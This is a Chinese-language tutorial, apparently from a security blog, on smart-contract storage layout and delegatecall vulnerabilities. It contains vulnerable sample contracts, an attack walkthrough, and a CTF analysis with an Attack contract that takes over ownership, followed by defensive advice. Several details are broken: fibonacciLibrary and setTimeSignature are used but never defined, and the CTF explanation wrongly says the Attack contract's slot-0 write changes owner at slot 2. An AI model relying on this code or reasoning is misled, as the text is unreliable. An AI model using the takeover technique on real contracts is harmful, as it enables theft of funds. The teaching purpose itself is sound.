区块链安全—合约存储机制安全分析
字数 1519 2025-08-22 12:22:15
智能合约存储机制安全分析教学文档
一、智能合约基础概念
智能合约是运行在区块链网络上的程序,具有以下特点:
- 资金整合:通过以太币轻松整合资金流系统
- 部署与费用:
- 部署时需要支付费用(分给交易验证者)
- 部署后作为区块链不可更改部分存储在全球节点
- 查询静态数据免费,写入数据需支付交易费用
- 存储成本:数据存储在区块链上,成本昂贵
- 不可更改性:部署后无法升级或修改
二、关键函数分析
1. call()函数
特性:
- 调用后
msg值修改为调用者 - 执行环境为被调用合约的运行环境(被调用合约的storage)
实验代码:
contract subFun {
address public addr;
function subTest() public returns (address a){
addr = address(this);
}
}
contract callAndDelegatecall {
address public b;
address public testaddress;
constructor(address _address) public {
testaddress = _address;
}
function withcall() public {
testaddress.call(bytes4(keccak256("subTest()")));
}
}
实验结果:
- 调用
withcall()后,只有subFun合约中的addr被修改 callAndDelegatecall合约中的b保持不变
2. delegatecall()函数
特性:
- 调用后
msg值不会修改为调用者 - 执行环境为调用合约的运行环境(调用合约的storage)
实验代码:
function withdelegatecall() public {
testaddress.delegatecall(bytes4(keccak256("subTest()")));
}
实验结果:
- 调用
withdelegatecall()后,callAndDelegatecall合约中的b被修改 - 执行环境保留在调用合约中
三、存储机制安全漏洞
1. 存储布局问题
Solidity存储机制中,变量按声明顺序存储在slot中:
-
subFun合约:start→ slot[0]calculatedNumber→ slot[1]
-
Mastercontract合约:addr→ slot[0]calculatedNumber→ slot[1]
漏洞原理:
当使用delegatecall时,子合约会按照自己的存储布局访问主合约的存储:
- 子合约访问
start(slot[0])实际访问的是主合约的addr(slot[0]) - 子合约访问
calculatedNumber(slot[1])实际访问的是主合约的calculatedNumber(slot[1])
2. 漏洞利用实例
合约代码:
contract Subcontract {
uint public start;
uint public calculatedNumber;
function setStart(uint _start) public { start = _start; }
function setfun(uint n) public {
calculatedNumber = test(n);
}
function test(uint n) internal returns (uint) {
return start * n;
}
}
contract Mastercontract {
address public addr;
uint public calculatedNumber = 1;
uint public start = 1;
uint public withdrawalCounter = 1;
bytes4 constant fibSig = bytes4(keccak256("setfun(uint)"));
constructor(address _fibonacciLibrary) public {
fibonacciLibrary = _fibonacciLibrary;
}
function withdraw() public {
withdrawalCounter += 1;
require(addr.delegatecall(fibSig,withdrawalCounter),"something wrong");
msg.sender.transfer(calculatedNumber * 1 ether);
}
}
攻击步骤:
- 通过
delegatecall调用子合约的setfun - 子合约尝试修改
start(slot[0])实际修改了主合约的addr - 子合约修改
calculatedNumber(slot[1])实际修改了主合约的calculatedNumber - 导致转账金额被恶意修改
四、CTF题目分析
题目合约:
contract Ttest {
address public addr1;
address public addr2;
address public owner;
constructor(address _a, address _b) public {
addr1 = _a;
addr2 = _b;
owner = msg.sender;
}
function First(uint _timeStamp) public {
addr1.delegatecall(setTimeSignature, _timeStamp);
}
function Second(uint _timeStamp) public {
addr2.delegatecall(setTimeSignature, _timeStamp);
}
function attack(string name) public returns(string){
require (owner == msg.sender);
// ...
}
}
contract Library {
uint first;
function set(uint _time) public {
first = _time;
}
}
攻击合约:
contract Attack {
address public owner;
function set(uint _time) public {
owner = tx.origin;
}
}
攻击步骤:
- 部署Attack合约
- 调用
First()函数,传入Attack合约地址 - 通过
delegatecall调用Attack合约的set函数 set函数修改Ttest合约的owner(因为addr1和owner在slot[0]和slot[2])- 现在攻击者成为owner,可以调用
attack()函数
五、防御措施
- 避免使用delegatecall:除非绝对必要,否则避免使用
delegatecall - 库合约标准化:使用标准库合约模式,确保存储布局一致
- 状态变量隔离:将被调用合约的状态变量与调用合约隔离
- 输入验证:严格验证
delegatecall的目标地址和参数 - 使用staticcall:对于只读操作,使用
staticcall代替delegatecall
六、总结
智能合约存储机制安全问题主要源于:
delegatecall保留调用合约的上下文环境- Solidity按声明顺序存储变量的机制
- 跨合约调用时的存储布局不匹配
开发者需要充分理解这些机制,避免因存储布局问题导致的安全漏洞。